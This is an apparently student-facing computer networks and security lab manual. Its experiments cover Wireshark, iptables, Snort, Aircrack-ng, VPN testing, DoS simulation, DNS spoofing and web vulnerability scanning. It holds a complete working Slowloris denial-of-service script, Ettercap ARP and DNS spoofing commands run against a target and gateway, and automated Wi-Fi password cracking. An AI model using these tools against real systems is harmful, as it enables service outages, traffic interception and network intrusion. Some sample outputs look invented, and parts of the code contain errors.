0% found this document useful (0 votes)
15 views52 pages

cncs final

The document outlines a laboratory course for analyzing computer networks and security, specifically targeting tasks such as network traffic analysis using Wireshark, firewall rule configuration with iptables, and deploying an Intrusion Detection System (IDS) using Snort. Each experiment includes aims, procedures, and sample code to guide students through practical applications of network security concepts. The document serves as a comprehensive guide for students in the Artificial Intelligence and Data Science program to understand and implement various network security techniques.

Uploaded by

Subitsha S
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
15 views52 pages

cncs final

The document outlines a laboratory course for analyzing computer networks and security, specifically targeting tasks such as network traffic analysis using Wireshark, firewall rule configuration with iptables, and deploying an Intrusion Detection System (IDS) using Snort. Each experiment includes aims, procedures, and sample code to guide students through practical applications of network security concepts. The document serves as a comprehensive guide for students in the Artificial Intelligence and Data Science program to understand and implement various network security techniques.

Uploaded by

Subitsha S
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 52

COMPUTER NETWORKS AND SECURITY

LABORATORY
U23ADP405

II YEAR / IV SEMESTER
ARTIFICIAL INTELLIGENCE AND DATA SCIENCE
TABLE OF CONTENTS

Page
S.NO Date Title Mark Sign
No

1. Analyze network traffic using Wireshark.

2. Set up and test firewall rules using software like


iptables
3. Deploy and test open-source IDS like Snort.

4. Assess Wi-Fi network security using tools like


Aircrack-ng

5. Simulate DoS attacks and evaluate their impact.

6. Set up and test VPN connections for security and


performance
7. Analyze network protocols using packet capture
tools.
8. Demonstrate DNS spoofing attacks using tools like
Ettercap.
9. Test web applications for common vulnerabilities.

10. Analyze network logs and packet captures to


investigate security incidents.
Ex no: Analyze Network Traffic Using Wireshark
Date:

Aim:
To analyze network traffic using Wireshark and understand the working of various network
protocols by capturing and inspecting packets.

Procedure:
1. Setup Wireshark
o Install and open Wireshark on your system.
o Choose the appropriate network interface for capturing traffic (e.g., Wi-Fi or
Ethernet).
2. Start Packet Capture
o Click on the interface to start capturing packets.
o Perform network activities such as browsing, downloading files, or using
applications to generate traffic.
3. Stop Packet Capture
o After sufficient traffic has been captured, click on the "Stop" button to end the
capture.
4. Inspect Captured Packets
o Use the filters in Wireshark to focus on specific protocols, such as HTTP,
TCP, UDP, or DNS.
o Select any packet to view its details in the Packet Details and Packet Bytes
panes.
5. Analyze Traffic
o Identify the source and destination IP addresses, protocol types, and payload
information.
o Check for retransmissions, lost packets, and other anomalies.
6. Save or Export the Capture
o Save the captured packets as a .pcap file for future analysis
Program:
import pyshark
capture = pyshark.LiveCapture(interface='any')
print("Capturing packets... Press Ctrl+C to stop.")
try:
for packet in capture.sniff_continuously(packet_count=10):
print(f"\nPacket: {packet.highest_layer}")
if 'IP' in packet:
print(f"Source IP: {packet.ip.src}")
print(f"Destination IP: {packet.ip.dst}")
except KeyboardInterrupt:
print("\nCapture stopped.")

Sample Output:
Packet 1:
o Protocol: TCP
o Source IP: 192.168.0.101
o Destination IP: 93.184.216.34
o Info: [SYN] Seq=0 Win=65535

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result:
The analysis of network traffic using Wireshark was successfully performed.
Ex no: Set Up and Test Firewall Rules Using iptables
Date:

Aim
To configure and test firewall rules using iptables for managing network traffic by allowing,
blocking, or modifying data packets.

Procedure:
1. Install Required Python Modules
o Ensure Python is installed.
o Install the subprocess module (usually pre-installed).
2. Set Up Firewall Rules Using Python
o Use the subprocess module to execute iptables commands programmatically.
3. Define Functions for Rule Management
o Write functions to add, view, and reset rules.
4. Test Rules
o Call the Python functions and test the firewall behavior.
5. Save the Rules
o Save the rules using a subprocess command for persistence.

Program:

import subprocess
# Function to add a rule
def add_firewall_rule(protocol, port, action):
try:
command = f"sudo iptables -A INPUT -p {protocol} --dport {port} -j {action}"
subprocess.run(command, shell=True, check=True)
print(f"Rule added: {protocol.upper()} traffic on port {port} is {action}")
except subprocess.CalledProcessError as e:
print(f"Error while adding rule: {e}")

# Function to view rules


def view_firewall_rules():
try:
subprocess.run("sudo iptables -L -v -n", shell=True, check=True)
except subprocess.CalledProcessError as e:
print(f"Error while viewing rules: {e}")

# Function to clear rules


def clear_firewall_rules():
try:
subprocess.run("sudo iptables -F", shell=True, check=True)
print("All rules cleared.")
except subprocess.CalledProcessError as e:
print(f"Error while clearing rules: {e}")

# Adding rules
add_firewall_rule("tcp", "80", "ACCEPT") # Allow HTTP traffic
add_firewall_rule("tcp", "22", "DROP") # Block SSH traffic

# Viewing rules
print("\nCurrent Firewall Rules:")
view_firewall_rules()

# Clearing rules
print("\nClearing Rules...")
clear_firewall_rules()
Sample Output:
Rule added: TCP traffic on port 80 is ACCEPT

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result:
The experiment demonstrated how to configure and test firewall rules using iptables
Ex no: Deploy and Test Open-Source IDS Using Snort
Date:

Aim:

To deploy and test Snort, an open-source Intrusion Detection System (IDS), for monitoring
and analyzing network traffic to detect potential security threats.

Procedure:

1. Install Snort
o Use Python to ensure Snort is installed by managing package installation using
subprocess (works if Snort is already available in the system's package
manager).
2. Configure Snort
o Update the Snort configuration file using Python's file handling capabilities.
3. Create Custom Rules
o Write a Python script to generate Snort rules dynamically and save them in a
rules file.
4. Run Snort
o Use Python's subprocess module to execute Snort in IDS mode.
5. Test Rules
o Use Python scripts to generate traffic that matches Snort rules (e.g., sending
ICMP requests using sockets).
6. Analyze Alerts
o Open and read the Snort alerts log using Python to validate whether traffic was
detected.

Program:

import subprocess
import socket
import time

def install_snort():
try:
subprocess.run(["sudo", "apt", "install", "snort", "-y"], check=True)
print("✅ Snort installed successfully.")
except Exception as e:
print(f"❌ Error installing Snort: {e}")

def configure_snort():
config_path = "/etc/snort/snort.conf"
try:
with open(config_path, "a") as file:
file.write("\n# Setting HOME_NET\nvar HOME_NET [192.168.1.0/24]\n")
print("✅ Snort configuration updated successfully.")
except Exception as e:
print(f"❌ Error configuring Snort: {e}")

def create_snort_rule():
rule_path = "/etc/snort/rules/local.rules"
rule = 'alert icmp any any -> any any (msg:"ICMP Ping Detected"; sid:1000001; rev:1;)\n'
try:
with open(rule_path, "a") as file:
file.write(rule)
print("✅ Custom Snort rule created successfully.")
except Exception as e:
print(f"❌ Error creating Snort rule: {e}")

def run_snort():
try:
print("🚀 Running Snort... Use Ctrl+C to stop.")
subprocess.run(["sudo", "snort", "-A", "console", "-q", "-c", "/etc/snort/snort.conf", "-i",
"enp0s3"])
except Exception as e:
print(f"❌ Error running Snort: {e}")

def send_icmp_ping(target_ip):
try:
with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as
s:
s.sendto(b'ping', (target_ip, 1))
print(f"✅ ICMP ping sent to {target_ip}")
except Exception as e:
print(f"❌ Error sending ICMP ping: {e}")

def read_snort_logs():
try:
with open("/var/log/snort/alert", "r") as f:
logs = f.read()
print("📋 Snort Alerts:\n", logs)
except FileNotFoundError:
print("⚠ No alert file found. Did Snort run?")
except Exception as e:
print(f"❌ Error reading Snort logs: {e}")

# === Run Script ===


# Uncomment these one at a time and test

# install_snort()
# configure_snort()
# create_snort_rule()
# run_snort() # Run this in a separate terminal because it blocks
# send_icmp_ping("192.168.1.1") # Replace with the actual IP of your VM or another device
# read_snort_logs()
Sample Input:

install_snort()
configure_snort()
create_snort_rule()
run_snort()
send_icmp_ping(“192.168.1.1”) # Replace with your target IP
read_snort_logs()

Sample Output:

Snort Alerts:
[**] [1:1000001:0] ICMP Ping Detected [**]
12/18-10:45:23.123456 192.168.1.2 -> 192.168.1.1
ICMP TTL:64 TOS:0x0 ID:12345 IpLen:20 DgmLen:84
Type:8 Code:0 ID:45678 Seq:1

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result:
The experiment successfully deployed and tested Snort as an IDS.
Ex no: Assess Wi-Fi Network Security Using Python for Aircrack-ng
Date:

Aim

To assess the security of a Wi-Fi network by capturing packets, analyzing vulnerabilities, and
testing key recovery using Aircrack-ng, a widely-used Wi-Fi security testing tool.

Procedure:

1. Install Aircrack-ng
o Use Python's subprocess module to install Aircrack-ng if not already available.
2. Monitor Mode Activation
o Use Python to enable monitor mode on the wireless interface.
3. Packet Capture
o Capture packets from the target Wi-Fi network using Python to automate the
airodump-ng process.
4. Test Key Recovery
o Automate the process of testing Wi-Fi key recovery using Aircrack-ng with
captured packets.
5. Analyze Results
o Read and interpret Aircrack-ng's output using Python to determine whether the
Wi-Fi network is secure.
Program:

Step 1: Install Aircrack-ng


import subprocess
def install_aircrack_ng():
try:
subprocess.run(["sudo", "apt", "install", "aircrack-ng", "-y"], check=True)
print("Aircrack-ng installed successfully.")
except Exception as e:
print(f"Error installing Aircrack-ng: {e}")

Step 2: Enable Monitor Mode


def enable_monitor_mode(interface="wlan0"):
try:
subprocess.run(["sudo", "ifconfig", interface, "down"], check=True)
subprocess.run(["sudo", "iwconfig", interface, "mode", "monitor"], check=True)
subprocess.run(["sudo", "ifconfig", interface, "up"], check=True)
print(f"Monitor mode enabled on {interface}.")
except Exception as e:
print(f"Error enabling monitor mode: {e}")

Step 3: Capture Packets


def capture_packets(interface="wlan0", output_file="capture"):
try:
subprocess.run(["sudo", "airodump-ng", "-w", output_file, "--output-format", "pcap",
interface], check=True)
print(f"Packets captured and saved to {output_file}.")
except Exception as e:
print(f"Error capturing packets: {e}")

Step 4: Test Key Recovery


def test_key_recovery(capture_file="capture-01.cap", dictionary_file="wordlist.txt"):
try:
result = subprocess.run(["sudo", "aircrack-ng", "-w", dictionary_file, capture_file],
capture_output=True, text=True)
print("Aircrack-ng Output:")
print(result.stdout)
except Exception as e:
print(f"Error testing key recovery: {e}")

Step 5: Analyze Results


def analyze_results():
# This function can parse output from Aircrack-ng logs or result files for analysis
log_file = "aircrack-ng.log"
try:
with open(log_file, "r") as file:
print("Log Analysis:")
print(file.read())
except Exception as e:
print(f"Error reading log file: {e}")
Sample Input and Output
Input
install_aircrack_ng()
enable_monitor_mode("wlan0")
capture_packets("wlan0", "capture")
test_key_recovery("capture-01.cap", "wordlist.txt")
analyze_results()
password123
admin123
qwerty
letmein
Output
1. Key Recovery Test Output (from aircrack-ng):
plaintext
Copy code
Aircrack-ng Output:
KEY FOUND! [ password123 ]
Master Key : 12:34:56:78:90:AB:CD:EF
Transient Key : 34:56:78:90:AB:CD:EF:12
2. If unsuccessful, the output will display:
plaintext
Copy code
No matching key found in the wordlist

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result
Using Python automation with Aircrack-ng, the security of the Wi-Fi network was assessed.
Ex no: Simulate DoS Attacks and Evaluate Their Impact
Date:

Aim:
To simulate a Denial of Service (DoS) attack using Python and evaluate its impact on a target
network or server, ensuring ethical and controlled testing in a private or lab environment.

Procedure:
1. Set Up Target Server
o Deploy a simple web server (e.g., Flask-based) as the target for the simulated
DoS attack.
2. Simulate a DoS Attack
o Use Python to create multiple concurrent requests to the target server,
mimicking a flood of traffic.
3. Monitor Impact
o Monitor the server's performance by measuring response times, CPU usage, or
memory consumption during the attack.
4. Analyze Results
o Evaluate how the server handles the traffic and identify points of failure or
degradation.
5. Mitigation Strategies
o Document strategies to prevent or mitigate DoS attacks, such as rate limiting,
load balancing, or firewalls.

Program:

#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time

parser = argparse.ArgumentParser(
description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
"-s",
"--sockets",
default=150,
help="Number of sockets to use in the test",
type=int,
)
parser.add_argument(
"-v",
"--verbose",
dest="verbose",
action="store_true",
help="Increases logging",
)
parser.add_argument(
"-ua",
"--randuseragents",
dest="randuseragent",
action="store_true",
help="Randomizes user-agents with each request",
)
parser.add_argument(
"-x",
"--useproxy",
dest="useproxy",
action="store_true",
help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
"--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
"--https",
dest="https",
action="store_true",
help="Use HTTPS for the requests",
)
parser.add_argument(
"--sleeptime",
dest="sleeptime",
default=15,
type=int,
help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
parser.print_help()
sys.exit(1)

if not args.host:
print("Host required!")
parser.print_help()
sys.exit(1)
if args.useproxy:
# Tries to import to external "socks" library
# and monkey patches socket.socket to connect over
# the proxy by default
try:
import socks

socks.setdefaultproxy(
socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
)
socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("Socks Proxy Library Not Available!")
sys.exit(1)

logging.basicConfig(
format="[%(asctime)s] %(message)s",
datefmt="%d-%m-%Y %H:%M:%S",
level=logging.DEBUG if args.verbose else logging.INFO,
)

def send_line(self, line):


line = f"{line}\r\n"
self.send(line.encode("utf-8"))

def send_header(self, name, value):


self.send_line(f"{name}: {value}")

if args.https:
logging.info("Importing ssl module")
import ssl

setattr(ssl.SSLSocket, "send_line", send_line)


setattr(ssl.SSLSocket, "send_header", send_header)

list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like
Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like
Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like
Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)


setattr(socket.socket, "send_header", send_header)

def init_socket(ip: str):


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)

if args.https:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=args.host)

s.connect((ip, args.port))

s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")


ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)

s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s

def slowloris_iteration():
logging.info("Sending keep-alive headers...")
logging.info("Socket count: %s", len(list_of_sockets))

# Try to send a header line to each socket


for s in list(list_of_sockets):
try:
s.send_header("X-a", random.randint(1, 5000))
except socket.error:
list_of_sockets.remove(s)

# Some of the sockets may have been closed due to errors or timeouts.
# Re-create new sockets to replace them until we reach the desired number.

diff = args.sockets - len(list_of_sockets)


if diff <= 0:
return

logging.info("Creating %s new sockets...", diff)


for _ in range(diff):
try:
s = init_socket(args.host)
if not s:
continue
list_of_sockets.append(s)
except socket.error as e:
logging.debug("Failed to create new socket: %s", e)
break

def main():
ip = args.host
socket_count = args.sockets
logging.info("Attacking %s with %s sockets.", ip, socket_count)

logging.info("Creating sockets...")
for _ in range(socket_count):
try:
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error as e:
logging.debug(e)
break
list_of_sockets.append(s)

while True:
try:
slowloris_iteration()
except (KeyboardInterrupt, SystemExit):
logging.info("Stopping Slowloris")
break
except Exception as e:
logging.debug("Error in Slowloris iteration: %s", e)
logging.debug("Sleeping for %d seconds", args.sleeptime)
time.sleep(args.sleeptime)

if __name__ == "__main__":
main()

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result
The simulated DoS attack created excessive traffic, overwhelming the target server.
Ex no: Set Up and Test VPN Connections for Security and Performance
Date:

Aim:

To set up a Virtual Private Network (VPN) connection and evaluate its security and
performance using Python scripts for automation and testing.

Procedure:

1. Install OpenVPN and Required Tools


o Automate the installation of OpenVPN and related dependencies using
Python's subprocess module.
2. Configure VPN
o Download or provide a preconfigured .ovpn file for the VPN connection.
3. Connect to VPN
o Use Python to automate the VPN connection process.
4. Test VPN Connection
o Verify the VPN connection by checking the public IP address and running a
latency or bandwidth test.
5. Analyze Results
o Evaluate the VPN's impact on latency, download/upload speed, and IP
security.

Program:

Step 1: Install OpenVPN


import subprocess
def install_openvpn():
try:
subprocess.run(["sudo", "apt", "install", "openvpn", "-y"], check=True)
print("OpenVPN installed successfully.")
except Exception as e:
print(f"Error installing OpenVPN: {e}")

install_openvpn()

Step 2: Configure VPN


Ensure you have a .ovpn configuration file for the VPN server you wish to connect to. Place it
in a directory accessible to the script (e.g., /etc/openvpn/client/).

Step 3: Connect to VPN


def connect_vpn(config_file):
try:
# Command to initiate VPN connection
subprocess.run(["sudo", "openvpn", "--config", config_file], check=True)
print("VPN connection established.")
except Exception as e:
print(f"Error connecting to VPN: {e}")
# Provide the path to the .ovpn file
connect_vpn("/etc/openvpn/client/my_vpn.ovpn")

Step 4: Test VPN Connection


1. Check Public IP Address
o Verify that the public IP address changes after connecting to the VPN.
import requests
def check_public_ip():
try:
response = requests.get("https://api.ipify.org?format=json")
if response.status_code == 200:
print(f"Public IP Address: {response.json()['ip']}")
else:
print("Failed to fetch public IP address.")
except Exception as e:
print(f"Error checking public IP: {e}")

check_public_ip()
2. Measure Network Latency
o Use the ping command to measure latency.
def test_latency(host="8.8.8.8"):
try:
subprocess.run(["ping", "-c", "4", host], check=True)
except Exception as e:
print(f"Error testing latency: {e}")

test_latency()
3. Bandwidth Test
o Use speedtest-cli to measure download and upload speeds.

def test_bandwidth():
try:
subprocess.run(["speedtest-cli"], check=True)
except Exception as e:
print(f"Error testing bandwidth: {e}")

test_bandwidth()

Step 5: Analyze Results


• Compare the public IP address before and after connecting to the VPN to confirm the
security.
• Note the latency and bandwidth with and without the VPN to measure performance
impact.

Sample Input and Output


Input
• Configuration file: my_vpn.ovpn
• Target host for latency test: 8.8.8.8
Output
1. Public IP Address Before VPN:
plaintext
Copy code
Public IP Address: 203.0.113.10
2. Public IP Address After VPN:
plaintext
Copy code
Public IP Address: 198.51.100.25
3. Latency Test Results:
plaintext
Copy code
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=117 time=45.5 ms
...
4. Bandwidth Test Results:
plaintext
Copy code
Download Speed: 20 Mbps
Upload Speed: 5 Mbps

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result

The VPN connection successfully masked the public IP address, enhancing security.
Ex no: Analyze Network Protocols Using Packet Capture Tools
Date:

Aim

To analyze various network protocols (such as TCP, UDP, HTTP, etc.) by capturing and
inspecting network traffic using packet capture tools like Wireshark or Python libraries. The
goal is to understand the structure and behavior of network traffic and protocols.

Procedure :

1. Install Required Packages


o Install scapy, a Python library used for packet manipulation and capturing
network traffic.
pip install scapy
2. Capture Network Traffic
o Use scapy to capture packets from a network interface. This allows you to
examine the network protocols being used.
3. Filter Packets
o You can filter the captured packets by protocol (e.g., TCP, UDP, ICMP) to
analyze the relevant traffic.
4. Analyze the Packets
o Inspect specific fields of the packets such as source IP, destination IP,
protocol, payload size, flags, and port numbers.
5. Display Packet Information
o Print the packet details in a human-readable format or save them to a file for
further analysis.
6. Export Data for Further Analysis
o Optionally, you can export the packet data into a file (e.g., CSV, pcap) for
additional processing or reporting.
Program:
# Step 1: import
from scapy.all import sniff, IP, TCP, UDP, wrpcap

# Step 2: Capture Packets


def capture_packets(packet_count=10):
print(f"Capturing {packet_count} packets...")
packets = sniff(count=packet_count)
return packets

# Step 3: Filter TCP and UDP Packets


def filter_packets(packets):
tcp_packets = [pkt for pkt in packets if TCP in pkt]
udp_packets = [pkt for pkt in packets if UDP in pkt]
return tcp_packets, udp_packets

# Step 4: Analyze Packets


def analyze_packets(packets):
print("\nAnalyzing packets...\n")
for pkt in packets:
if IP in pkt:
ip_src = pkt[IP].src
ip_dst = pkt[IP].dst
print(f"IP Source: {ip_src}, IP Destination: {ip_dst}")

if TCP in pkt:
tcp_src_port = pkt[TCP].sport
tcp_dst_port = pkt[TCP].dport
print(f"TCP Source Port: {tcp_src_port}, TCP Destination Port: {tcp_dst_port}")

if UDP in pkt:
udp_src_port = pkt[UDP].sport
udp_dst_port = pkt[UDP].dport
print(f"UDP Source Port: {udp_src_port}, UDP Destination Port: {udp_dst_port}")

# Step 5: Display Full Packet Information


def display_packet_info(packets):
print("\nFull Packet Details:\n")
for packet in packets:
packet.show()

# Step 6: Save Packets to File


def save_packets(packets, filename="packets.pcap"):
wrpcap(filename, packets)
print(f"\nPackets saved to {filename}")

# --- Main Execution Block ---


if _name_ == "_main_":
packets = capture_packets(10)
tcp_packets, udp_packets = filter_packets(packets)
analyze_packets(packets)
display_packet_info(packets)
save_packets(packets)

Sample Input and Output


Input
• Run the Python script to capture and analyze 10 packets from the network.
• Analyze TCP and UDP traffic separately.
Output
1. Captured Packets (from the capture_packets function):
o The script captures packets from the network, such as TCP or UDP packets.
2. Packet Filtering:
o Filters TCP and UDP packets from the capture.
IP Source: 192.168.1.1, IP Destination: 192.168.1.2
TCP Source Port: 12345, TCP Destination Port: 80
IP Source: 192.168.1.2, IP Destination: 192.168.1.1
UDP Source Port: 54321, UDP Destination Port: 53
3. Packet Information:
o Detailed breakdown of the packets, such as source/destination IP addresses
and port numbers.
###[ IP ]###
ip_src = 192.168.1.1
ip_dst = 192.168.1.2
###[ TCP ]###
sport = 12345
dport = 80
4. Exported Data:
o The captured packets are saved into a .pcap file, which can later be opened in
Wireshark for further detailed analysis.

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result

This experiment provides insights into how packets flow over the network and how different
protocols are used to communicate
Ex no: DNS Spoofing Attack Using Ettercap
Date:

Aim

To demonstrate DNS spoofing attacks using Ettercap, which can redirect the victim’s DNS
requests to malicious IP addresses by poisoning the DNS cache.

Procedure Using Python and Ettercap

1. Install Necessary Tools


o Ettercap: A powerful tool for network attacks, including DNS spoofing.
o Scapy (optional for ARP spoofing, if required).
Install Ettercap on your system:
sudo apt install ettercap-graphical
Install Scapy to use ARP spoofing (optional):
pip install scapy

2. Identify Network Interface


Use the following command to find your network interface:
ip a
3. Launch ARP Spoofing Attack
ARP spoofing is used to redirect traffic through your machine by sending fake ARP
replies. This can be done using Ettercap in graphical or command-line mode. The
ARP spoofing will allow you to intercept traffic between the victim and the gateway.

4. Configure DNS Spoofing in Ettercap


DNS spoofing injects fake DNS responses. You need to configure Ettercap to
intercept DNS requests and modify the responses. This is typically done by
configuring DNS spoofing in Ettercap's settings.

5. Run Ettercap in Python


You can execute Ettercap commands via Python to automate the DNS spoofing attack.

Program:
import subprocess

# ARP Spoofing Function


def arp_spoof(target_ip, gateway_ip, interface="eth0"):
print("[*] Starting ARP spoofing...")
cmd = f"sudo ettercap -T -q -i {interface} -M arp:remote /{target_ip}//{gateway_ip}/"
subprocess.run(cmd, shell=True)

# DNS Spoofing Function


def dns_spoof(target_ip, gateway_ip, interface="eth0"):
print("[*] Starting DNS spoofing...")
cmd = f"sudo ettercap -T -q -i {interface} -M arp:remote /{target_ip}//{gateway_ip}/ -P
dns_spoof"
subprocess.run(cmd, shell=True)

# DNS Verification Function


def verify_dns(domain="facebook.com"):
print(f"[*] Verifying DNS resolution for {domain}...")
try:
result = subprocess.run(["nslookup", domain], capture_output=True, text=True)
print(result.stdout)
except Exception as e:
print(f"[!] Error checking DNS: {e}")

# Main Execution
if _name_ == "_main_":
target_ip = "10.0.2.15" # Replace with actual target
gateway_ip = "10.0.2.2" # Replace with actual gateway
interface = "enp0s3" # Default VirtualBox interface name; might be "enp0s3" or
"ens33" in your case

# arp_spoof(target_ip, gateway_ip, interface)


dns_spoof(target_ip, gateway_ip, interface)
verify_dns("facebook.com")

Sample Input and Output


Input
• Target IP: 192.168.1.5
• Gateway IP: 192.168.1.1
• Malicious DNS: Redirect example.com to 192.168.1.100.
Output
1. ARP Spoofing
plaintext
Copy code
[INFO] Sent ARP spoof to 192.168.1.5, redirecting to 192.168.1.1
2. DNS Spoofing
Ettercap will silently inject DNS responses.
3. DNS Verification
plaintext
Copy code
Server: UnKnown
Address: 192.168.1.1

Non-authoritative answer:
Name: example.com
Address: 192.168.1.100

Criteria Maximum Marks


Obtained

Aim and Algorithm 05


Marks
Program and Output 15
Viva 05
Total 25

Result:
This experiment highlights how Ettercap can be used with Python to automate and perform a
DNS spoofing attack in a local network.
Ex no: Testing Web Applications for Common Vulnerabilities

Date:

Aim

The aim of this experiment is to test web applications for common security vulnerabilities
like SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and
Insecure File Upload, using Python to automate the testing process.

Procedure

1. SQL Injection Test:

o Identify input fields (e.g., login forms) where user input is processed by a
backend database.
o Send an input containing SQL injection code to see if the application processes
it improperly.

2. XSS Test:

o Identify input fields that render user input on a webpage.


o Inject malicious JavaScript code into these fields and check if it gets executed.

3. CSRF Test:

o Check if the web application uses CSRF tokens for important actions like
changing passwords.
o Test by sending requests without the correct token.

4. Insecure File Upload Test:

o Identify file upload forms.


o Upload a file that could execute malicious code (e.g., PHP script) and check if
it gets processed.
Program

import requests
import argparse
import re
import os
import sys
from urllib.parse import urljoin
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
from requests.exceptions import ConnectionError, RequestException, Timeout

class VulnerabilityScanner:
def _init_(self, target_url, timeout=10, verbose=False):
self.target_url = target_url
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'VulnerabilityScanner/1.0 (Educational Purposes Only)'
})
print(f"[*] Starting vulnerability scan on {target_url}")

def log(self, message, level="INFO"):


"""Log messages based on verbosity setting"""
levels = {
"INFO": "[*]",
"SUCCESS": "[+]",
"WARNING": "[!]",
"ERROR": "[-]"
}
prefix = levels.get(level, "[*]")

if level in ["SUCCESS", "WARNING", "ERROR"] or self.verbose:


print(f"{prefix} {message}")

def test_sql_injection(self, login_url=None):


"""Test for SQL injection vulnerabilities"""
if login_url is None:
login_url = urljoin(self.target_url, "/login")

self.log(f"Testing SQL injection on {login_url}")

# Common SQL injection payloads


payloads = [
